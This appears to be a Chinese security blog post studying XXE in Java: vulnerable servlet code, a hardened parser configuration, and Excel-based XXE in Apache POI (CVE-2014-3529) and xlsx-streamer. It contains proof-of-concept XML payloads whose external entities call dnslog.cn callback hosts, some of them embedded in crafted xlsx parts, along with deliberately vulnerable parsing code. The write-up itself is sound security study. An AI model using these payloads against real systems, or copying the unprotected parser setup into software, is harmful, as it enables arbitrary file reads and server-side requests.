Java EXCEL XXE

前言:自己在学习mybatis和spring中大量的遇到xml,所以借此机会顺便了解下xml

Java解析XML机制

环境代码

public class LoginServlet extends HttpServlet {
	private static final long serialVersionUID = 1L;
	
	private static final String USERNAME = "admin";
	private static final String PASSWORD = "admin";
	
	protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {		
		DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
        DocumentBuilder documentBuilder;
        String result="";
		try {
			documentBuilder = documentBuilderFactory.newDocumentBuilder();

			//dbf.setExpandEntityReferences(false);
			Document doc = documentBuilder.parse(request.getInputStream());
			String username = getValueByTagName(doc,"username");
			String password = getValueByTagName(doc,"password");
			if(username.equals(USERNAME) && password.equals(PASSWORD)){
				result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);
			}else{
				result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);
			}
		} catch (ParserConfigurationException e) {
			e.printStackTrace();
			result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
		} catch (SAXException e) {
			e.printStackTrace();
			result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
		}
		response.setContentType("text/xml;charset=UTF-8");
		response.getWriter().append(result);
	}

	protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
		doGet(request, response);
	}

	public static String getValueByTagName(Document doc, String tagName){  
        if(doc == null || tagName.equals(null)){  
            return "";  
        }  
        NodeList pl = doc.getElementsByTagName(tagName);
        if(pl != null && pl.getLength() > 0){  
            return pl.item(0).getTextContent();  
        } 
        return "";
    }
}

最重要的其实也就几行:

DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
DocumentBuilder documentBuilder;
documentBuilder = documentBuilderFactory.newDocumentBuilder();
//dbf.setExpandEntityReferences(false);
Document doc = documentBuilder.parse(request.getInputStream());

DocumentBuilderFactory是一个抽象工厂类,它不能直接实例化,但该类提供了一个newInstance方法 ,这个方法会根据本地平台默认安装的解析器,自动创建一个工厂的对象并返回。

流程为如下所示:

修复方法:禁止引用外部实体

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
String FEATURE = null;
FEATURE = "http://javax.xml.XMLConstants/feature/secure-processing";
dbf.setFeature(FEATURE, true);
FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
dbf.setFeature(FEATURE, true);
FEATURE = "http://xml.org/sax/features/external-parameter-entities";
dbf.setFeature(FEATURE, false);
FEATURE = "http://xml.org/sax/features/external-general-entities";
dbf.setFeature(FEATURE, false);
FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
dbf.setFeature(FEATURE, false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
DocumentBuilder builder = dbf.newDocumentBuilder();
// 读取xml文件内容
FileInputStream fis = new FileInputStream("path/to/xxexml");
InputSource is = new InputSource(fis);
Document doc = builder.parse(is);

重新进行测试可以发现,已经被禁止引用外部实体了,导致xxe漏洞不存在!

环境测试

poc如下

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANYTHING [
<!ENTITY % test SYSTEM "http://rce.ufmak7.dnslog.cn">
%test;

更新于:2021.5.16

回显代码:

	protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {		
		DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
        DocumentBuilder documentBuilder;
		try {
			documentBuilder = documentBuilderFactory.newDocumentBuilder();
			Document document = documentBuilder.parse(request.getInputStream());
			// 遍历xml节点name和value
			StringBuffer buf = new StringBuffer();
			NodeList rootNodeList = document.getChildNodes();
			for (int i = 0; i < rootNodeList.getLength(); i++) {
				Node rootNode = rootNodeList.item(i);
				NodeList child = rootNode.getChildNodes();
				for (int j = 0; j < child.getLength(); j++) {
					Node node = child.item(j);
					buf.append(node.getNodeName() + ": " + node.getTextContent() + "\n");
				}
			}
			System.out.println(buf.toString());
			response.getWriter().print(buf);
		} catch (Exception e) {
			System.out.println(e);
		}
	}

无回显代码:

	protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {		
		DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
        DocumentBuilder documentBuilder;
		try {
			documentBuilder = documentBuilderFactory.newDocumentBuilder();
			Document document = documentBuilder.parse(request.getInputStream());
			// 遍历xml节点name和value
			StringBuffer buf = new StringBuffer();
			NodeList rootNodeList = document.getChildNodes();
			for (int i = 0; i < rootNodeList.getLength(); i++) {
				Node rootNode = rootNodeList.item(i);
				NodeList child = rootNode.getChildNodes();
				for (int j = 0; j < child.getLength(); j++) {
					Node node = child.item(j);
					if (child.item(j).getNodeType() == Node.ELEMENT_NODE) {
						buf.append(node.getNodeName() + ": " + node.getFirstChild().getNodeValue() + "\n");
					}
				}
			}
			System.out.println(buf.toString());
			response.getWriter().print(buf);
		} catch (Exception e) {
			System.out.println(e);
		}
	}

参考文章:https://xz.aliyun.com/t/7272#toc-4

扩展知识

另外的一些java库的使用,如果配置不当的话也会造成xxe的漏洞,如下所示:

  1. SAXBuilder(默认解析配置会造成xxe)

  2. SAXParserFactory(默认解析配置会造成xxe)

  3. SAXReader(默认解析配置会造成xxe)

  4. SAXTransformerFactory(默认解析配置会造成xxe)

  5. SchemaFactory(默认解析配置会造成xxe)

  6. TransformerFactory(默认解析配置会造成xxe)

  7. ValidatorSample(默认解析配置会造成xxe)

  8. XMLReader(默认解析配置会造成xxe)

  9. Unmarshaller(默认解析配置不会造成xxe)

Poi ooxml XXE

上面的讲完了,再记录一些java的历史解析xml的组件造成xxe漏洞的例子

CVE-2014-3529

Apache POI是提供Microsoft Office系列文档读、写功能的JAVA类库,Apache POI 3.10-FINAL及以前版本被发现允许远程攻击者通过注入XML外部实体读取任意文件。

漏洞范围:poi-ooxml-3.10-FINAL.jar及以下版本

导入pom依赖:

解析xlsx文件代码如下:

public class Test {
    public static void main(String[] args) throws IOException {
        File f = new File("C:\\Users\\dell\\Desktop\\ALL\\javaidea\\java-excel-xxe\\test.xlsx");
        FileInputStream in = new FileInputStream(f);

        XSSFWorkbook wb = new XSSFWorkbook(in); // xxe vuln
        XSSFSheet sheet = wb.getSheetAt(0);
        int total = sheet.getLastRowNum();

        for (Row row : sheet){
            for (Cell cell :row){
                System.out.println(cell.getStringCellValue());
            }
            System.out.println("expection");
        }
    }
}

修改其中的[Content_Types].xml内容:

漏洞分析

最终获取一个Document的对象,该对象就是已经解析完xml所返回的document对象

那么这里就来看如何进行解析xml的,跟进去,可以发现先调用newDocumentBuilder函数,生成builder类,然后接着开始进行解析传入的xml数据

生成的builder类并没有进行任何的限制

最后返回的builder类就直接对xml进行了解析操作,最终导致了xxe的产生

xlsx-streamer XXE

接着你可能看文章还会看到奇奇怪怪的,会发现有时候改的并不是[Content_Types].xml,而是xl/workbook.xml,这个是另外一个洞,发生在组件xlsx-streamer上的!

当Excel中的数据量较大时,在用Apache POI读取文件流时很容易引起失败,需要引入xlsx-streamer来进行资源的解析。而xlsx-streamer的2.0.0及以下版本被发现允许远程攻击者通过注入XML外部实体读取任意文件。

漏洞范围:xlsx-streamer.jar-2.0.0及以下版本

导入pom依赖:

<!-- https://mvnrepository.com/artifact/com.monitorjbl/xlsx-streamer -->
<dependency>
    <groupId>com.monitorjbl</groupId>
    <artifactId>xlsx-streamer</artifactId>
    <version>2.0.0</version>
</dependency>

其实你会发现,这个其实就是封装了apache poi而成的组件,如下所示:

并且还可以看到其实这个这个组件迭代的版本不是很快,如果用这个的说不定xxe的漏洞存在性比较大

解析xlsx文件代码如下:

public class Test2 {
    public static void main(String[] args) throws FileNotFoundException {
        File f = new File("C:\\Users\\dell\\Desktop\\ALL\\javaidea\\java-excel-xxe\\xlsx_streamer_xxe.xlsx");
        FileInputStream fileInputStream = new FileInputStream(f);
        Workbook workbook = StreamingReader.builder().open(fileInputStream);
        Sheet sheet = workbook.getSheetAt(0);
        for (Row row : sheet){
            for (Cell cell :row){
                System.out.println(cell.getStringCellValue());
            }
            System.out.println("");
        }
    }
}

替换xlsx的xl/workbook.xml,为如下内容:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
    <!ELEMENT foo ANY>
        <!ENTITY wwwww SYSTEM "http://xxe.rgs7he.dnslog.cn">
]>

<foo>&wwwww;</foo>

参考文章:https://www.dazhuanlan.com/2020/02/02/5e36a1acefeea/

posted @ 2021-05-16 16:51  zpchcbd  阅读(976)  评论(0编辑  收藏  举报